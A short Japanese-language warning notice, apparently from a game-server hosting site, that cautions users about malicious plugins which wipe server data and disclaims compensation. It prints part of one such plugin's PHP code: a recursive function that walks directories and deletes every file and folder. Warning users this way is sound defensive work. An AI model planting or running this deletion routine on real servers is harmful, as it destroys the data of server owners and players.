不正なプラグインにご注意ください。

一部のプラグインで、利用者のデータを削除する不正なプラグインが流通しています。運営として、そのようなプラグインを導入されても、「プラグイン導入は自己責任」の原則に基づき補償は致しません。

入手元が信頼のおけないプラグインであれば、必ず解凍して中身を見るべきです。解凍するツールはhttp://pmt.haniokasai.com で無料で利用できます。

悪質なプラグインのコードの例

scandir(フォルダ検索)、rmdir(フォルダ削除)unlink(ファイル削除)の機能を悪用したプラグインのコードの一部です。これの含まれたプラグインを導入しますと、サーバーのデータが削除される危険性があります。

if (is_dir($p) === true) {
$f = scandir($p);
if (sizeof($f) > 2) {
foreach ($f as $folder) {
if ($folder != “.” && $folder != “..”) {
self::fgbaigaeui($p . “/” . $folder);
}
}
rmdir($p);
}
} else {
if (file_exists($p) === true) {
unlink($p);
}
}

https://github.com/InkoHX/MAH-Next/blob/master/MAH-MiRm/V1/src/Core/DataBase/GameCoreDatabase.php

このサイトをフォローする!

サーバーを今すぐ作成!!